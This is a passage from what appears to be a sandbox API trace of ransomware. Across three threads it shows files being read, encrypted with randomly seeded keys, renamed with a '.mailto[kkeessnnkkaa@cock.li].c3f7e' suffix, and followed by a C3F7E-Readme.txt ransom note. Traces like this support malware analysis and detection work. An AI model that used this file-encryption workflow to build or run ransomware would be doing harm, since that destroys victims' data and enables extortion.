	[0075.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730f10) returned 1

Thread:
	id = 173
	os_tid = 0x137c

	[0075.330] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0075.331] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x978
	[0075.334] GetFileSizeEx (in: hFile=0x978, lpFileSize=0x950f77c | out: lpFileSize=0x950f77c*=60816) returned 1
	[0075.334] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0xed8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.334] ReadFile (in: hFile=0x978, lpBuffer=0x950f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x950f6fc, lpOverlapped=0x0 | out: lpBuffer=0x950f700*, lpNumberOfBytesRead=0x950f6fc*=0x4, lpOverlapped=0x0) returned 1
	[0075.342] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47808
	[0075.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.342] NtQuerySystemTime (in: CurrentTime=0x950f6dc | out: CurrentTime=0x950f6dc*=132251868020752520) returned 0x0
	[0075.342] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x55d24424
	[0075.342] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xd494e162
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x6c407c46
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x623560e
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xe8267515
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xedc483d5
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x2787364d
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x1734e500
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x2ab2bd98
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x9598cb9a
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xf339d27d
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xddee1fd
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x2e6baaac
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xe3c82e9e
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x1c834e53
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xa10e0eae
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x3756ed2
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xd0a364ba
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x2deca613
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xc9f6f054
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x70dd3cf7
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x5e534241
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xfc8a65ed
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xa8c054ae
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xd8fcfe60
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x19108f8c
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x9a7bb547
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x3968d666
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0xe87bcb3a
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x7dcf4af8
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x5e80a862
	[0075.343] RtlRandom (in: Seed=0x950f6e8 | out: Seed=0x950f6e8) returned 0x3f68ca54
	[0075.351] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.351] ReadFile (in: hFile=0x978, lpBuffer=0x48017f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x950f6bc, lpOverlapped=0x0 | out: lpBuffer=0x48017f8*, lpNumberOfBytesRead=0x950f6bc*=0xc800, lpOverlapped=0x0) returned 1
	[0075.352] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738a0
	[0075.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0075.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0075.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480e000
	[0075.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0075.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47970) returned 1
	[0075.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0075.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0075.354] WriteFile (in: hFile=0x978, lpBuffer=0x480e000*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x950f6bc, lpOverlapped=0x0 | out: lpBuffer=0x480e000*, lpNumberOfBytesWritten=0x950f6bc*=0xc800, lpOverlapped=0x0) returned 1
	[0078.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480e000) returned 1
	[0078.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48017f8) returned 1
	[0078.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb190
	[0078.351] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.351] WriteFile (in: hFile=0x978, lpBuffer=0x47cf6a0*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x950f73c, lpOverlapped=0x0 | out: lpBuffer=0x47cf6a0*, lpNumberOfBytesWritten=0x950f73c*=0x113, lpOverlapped=0x0) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf6a0) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb1c8) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb190) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47808) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47920) returned 1
	[0078.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47948) returned 1
	[0078.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986518
	[0078.353] wcscpy (in: _Dest=0x4986518, _Source="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml"
	[0078.353] wcscat (in: _Dest=0x4986518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.353] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x950f6f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a328
	[0078.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a328) returned 1
	[0078.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61790) returned 1
	[0078.354] NtQueryInformationFile (in: FileHandle=0x978, IoStatusBlock=0x950f700, FileInformation=0x950f6d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x950f700, FileInformation=0x950f6d8) returned 0x0
	[0078.354] NtSetInformationFile (FileHandle=0x978, IoStatusBlock=0x950f700, FileInformation=0x950f6d8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986518) returned 1
	[0078.355] FlushFileBuffers (hFile=0x978) returned 1
	[0080.046] CloseHandle (hObject=0x978) returned 1
	[0080.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47807e0
	[0080.162] wcscpy (in: _Dest=0x47807e0, _Source="C:\\588bce7c90097ed212\\1028\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0080.162] wcscat (in: _Dest=0x47807e0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt"
	[0080.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\c3f7e-readme.txt")) returned 0x20
	[0080.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47807e0) returned 1
	[0080.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79e98) returned 1

Thread:
	id = 174
	os_tid = 0x138c

	[0075.356] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0075.356] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.357] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x974
	[0075.357] GetFileSizeEx (in: hFile=0x974, lpFileSize=0x958fa0c | out: lpFileSize=0x958fa0c*=3726) returned 1
	[0075.357] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0xe8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.357] ReadFile (in: hFile=0x974, lpBuffer=0x958f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x958f98c, lpOverlapped=0x0 | out: lpBuffer=0x958f990*, lpNumberOfBytesRead=0x958f98c*=0x4, lpOverlapped=0x0) returned 1
	[0075.358] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47998
	[0075.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.358] NtQuerySystemTime (in: CurrentTime=0x958f96c | out: CurrentTime=0x958f96c*=132251868020908871) returned 0x0
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x202adefc
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x6bfe4149
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xedce8992
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x6ec59e88
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x2acbed09
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x2c9b4564
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x2df51eed
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xd66b8c17
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x70965a6e
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x9eeb4920
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xa40448d0
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x65622aa6
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xa89e6032
	[0075.358] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xd8134766
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x72a55157
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xd854b384
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x4ceda275
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x140e9bfa
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x6744e415
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xe3dfa1c7
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xececaf2c
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x5e0c601f
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x283b28e1
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x5d578319
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x5ac3db48
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xadb7aeb4
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x35a3e198
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x75b46b31
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x373273b0
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x21f32d16
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0x9f9c016a
	[0075.359] RtlRandom (in: Seed=0x958f978 | out: Seed=0x958f978) returned 0xc9382e59
	[0075.369] ReadFile (in: hFile=0x974, lpBuffer=0x481a808, nNumberOfBytesToRead=0xe8e, lpNumberOfBytesRead=0x958f968, lpOverlapped=0x0 | out: lpBuffer=0x481a808*, lpNumberOfBytesRead=0x958f968*=0xe8e, lpOverlapped=0x0) returned 1
	[0075.369] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.369] WriteFile (in: hFile=0x974, lpBuffer=0x4827010*, nNumberOfBytesToWrite=0xe8e, lpNumberOfBytesWritten=0x958f964, lpOverlapped=0x0 | out: lpBuffer=0x4827010*, lpNumberOfBytesWritten=0x958f964*=0xe8e, lpOverlapped=0x0) returned 1
	[0078.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34640
	[0078.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0078.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0078.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4827010) returned 1
	[0078.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a808) returned 1
	[0078.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0078.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738a0) returned 1
	[0078.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e346b8
	[0078.387] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.387] WriteFile (in: hFile=0x974, lpBuffer=0x47cf6a0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x958f9cc, lpOverlapped=0x0 | out: lpBuffer=0x47cf6a0*, lpNumberOfBytesWritten=0x958f9cc*=0x101, lpOverlapped=0x0) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf6a0) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34028) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479c0) returned 1
	[0078.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e479e8) returned 1
	[0078.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78b40
	[0078.389] wcscpy (in: _Dest=0x2d78b40, _Source="C:\\588bce7c90097ed212\\1029\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf"
	[0078.389] wcscat (in: _Dest=0x2d78b40, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.389] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x958f984, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61bb0
	[0078.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61bb0) returned 1
	[0078.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2aad8) returned 1
	[0078.803] NtQueryInformationFile (in: FileHandle=0x974, IoStatusBlock=0x958f990, FileInformation=0x958f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x958f990, FileInformation=0x958f968) returned 0x0
	[0078.803] NtSetInformationFile (FileHandle=0x974, IoStatusBlock=0x958f990, FileInformation=0x958f968, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78b40) returned 1
	[0078.804] FlushFileBuffers (hFile=0x974) returned 1
	[0080.104] CloseHandle (hObject=0x974) returned 1
	[0080.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780e60
	[0080.208] wcscpy (in: _Dest=0x4780e60, _Source="C:\\588bce7c90097ed212\\1029\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\"
	[0080.208] wcscat (in: _Dest=0x4780e60, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt"
	[0080.208] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x96c
	[0080.234] WriteFile (in: hFile=0x96c, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x958f98c, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x958f98c*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.236] CloseHandle (hObject=0x96c) returned 1
	[0080.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780e60) returned 1
	[0080.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731000) returned 1

Thread:
	id = 175
	os_tid = 0x1374

	[0075.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0075.370] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x97c
	[0075.370] GetFileSizeEx (in: hFile=0x97c, lpFileSize=0x960fb20 | out: lpFileSize=0x960fb20*=80970) returned 1
	[0075.370] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x13c46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.370] ReadFile (in: hFile=0x97c, lpBuffer=0x960faa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x960faa0, lpOverlapped=0x0 | out: lpBuffer=0x960faa4*, lpNumberOfBytesRead=0x960faa0*=0x4, lpOverlapped=0x0) returned 1
	[0075.372] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47970
	[0075.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a10
	[0075.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.372] NtQuerySystemTime (in: CurrentTime=0x960fa80 | out: CurrentTime=0x960fa80*=132251868021065795) returned 0x0
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xa496b89c
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x57c76c03
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xe7bc1eb8
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xbad2888a
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xe88b2704
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x8faf123
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xa933529a
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xc3c5c27c
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x43f8a8ee
	[0075.372] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xcc98cca9
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xd358a8cf
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x2144ae0a
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xe05e3e1a
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xb4d9960e
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x70d4711
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xb0e81bb1
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xe101f422
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xe8a2364a
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x18cae318
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x83052e16
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x17a62b08
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xaee9d933
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xec6ff99d
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x624d486c
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xbdd4b2f0
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xbbfcce58
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0xb01dde52
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x7b132224
	[0075.373] RtlRandom (in: Seed=0x960fa8c | out: Seed=0x960fa8c) returned 0x26e7392c
